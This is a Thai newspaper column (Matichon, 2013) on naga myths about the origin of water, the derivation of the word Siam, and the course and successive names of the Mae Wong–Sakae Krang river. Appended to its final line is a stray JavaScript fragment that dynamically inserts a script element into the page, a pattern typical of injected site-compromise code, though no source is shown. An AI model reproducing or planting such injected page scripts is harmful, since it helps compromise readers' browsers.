มติชนรายวัน ฉบับประจำวันจันทร์ที่ 30 กันยายน 2556

น้ำ มาจากไหน?

          งู เป็นสัญลักษณ์ของน้ำและดิน ที่คนดึกดำบรรพ์อุษาคเนย์หลายพันปีมาแล้ว เชื่อว่ามีเพศเป็นหญิง จึงสมมุติเรียกในสมัยหลังว่านางนาค มีหลักแหล่งควบคุมน้ำอยู่ใต้ดินเรียกบาดาล

          เมื่อบันดาลน้ำให้มนุษย์ จะผุดขึ้นมาจากใต้ดิน เรียกบริเวณน้ำผุดว่าซำ (หรือ ซัม, ซาม) เป็นรากคำว่า สยาม ที่ใช้เรียกดินแดนว่าประเทศสยาม และราชอาณาจักรสยาม แล้วเรียกคนทุกเผ่าพันธุ์ซึ่งอยู่ในดินแดนนี้โดยไม่จำแนกว่าชาวสยาม

          แต่คนชมพูทวีป (อินเดีย) เชื่อว่างูมีเพศเป็นชาย จึงสมมุติเรียกว่าพญานาค มีหลักแหล่งควบคุมน้ำอยู่บนฟ้า เมื่อบันดาลน้ำให้มนุษย์จะตกเป็นห่าจากฟ้า เรียกว่าฝน

 

น้ำแม่วง มาจากไหน?

          น้ำแม่วง เป็นลำน้ำยาวต่อเนื่องเป็นสายเดียวกันกับแม่น้ำสะแกกรัง แต่มีชื่อเรียกต่างกันเป็นตอนๆ อักขรานุกรมภูมิศาสตร์ไทยอธิบายดังนี้

          ต้นน้ำเกิดจากเขาปลายห้วยขาแข้ง ใน อ. ลาดยาว จ. นครสวรรค์ ไหลลงทางทิศเหนือ เรียกตามลำดับว่า ห้วยผาแดง, ห้วยเดื่อ

          แล้ววกไปทางทิศตะวันออก เป็นเส้นแบ่งเขตจังหวัดระหว่าง อ. ลาดยาว จ. นครสวรรค์ กับ อ. คลองขลุง จ. กำแพงเพชร เรียก น้ำแม่วง ไหลผ่านเขาชนกัน แล้วเป็นเส้นแบ่งเขตจังหวัดระหว่าง อ. ลาดยาว จ. นครสวรรค์ กับ อ. ขาณุวรลักษบุรี จ. กำแพงเพชร

          ไหลลงทางทิศตะวันออกเฉียงใต้ เข้า อ. ลาดยาว เรียก น้ำวังม้า และน้ำตากแดด  แล้วเข้า อ. ทัพทัน จ. อุทัยธานี เป็นเส้นแบ่งเขตจังหวัดระหว่าง อ. โกรกพระ จ. นครสวรรค์ กับ อ. เมืองฯ จ. อุทัยธานี เรียก แม่น้ำตากแดด

          ต่อเมื่อเข้าเขต อ. เมืองฯ จ. อุทัยธานี จึงเรียก แม่น้ำสะแกกรัง ซึ่งไหลไปลงแม่น้ำเจ้าพระยา ที่บ้านท่าซุง ต. ท่าซุง รวมความยาวของลำน้ำตลอดทั้งสาย 225 กม.

          แม่น้ำสะแกกรัง เป็นแม่น้ำที่เกิดจากการรวมตัวของลำน้ำสาขา คือ น้ำแม่วง คลองโพธิ์ และห้วยทับเสลา ซึ่งลำน้ำเหล่านี้มีต้นน้ำอยู่ทางบริเวณทิวเขาทางทิศตะวันตกของไทย

          (น้ำแม่วง เรียกตามประเพณีล้านนา ถ้าภาคกลางเรียกแม่น้ำวง ในอักขรานุกรม สะกด วง ไม่เรียก วงก์)var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);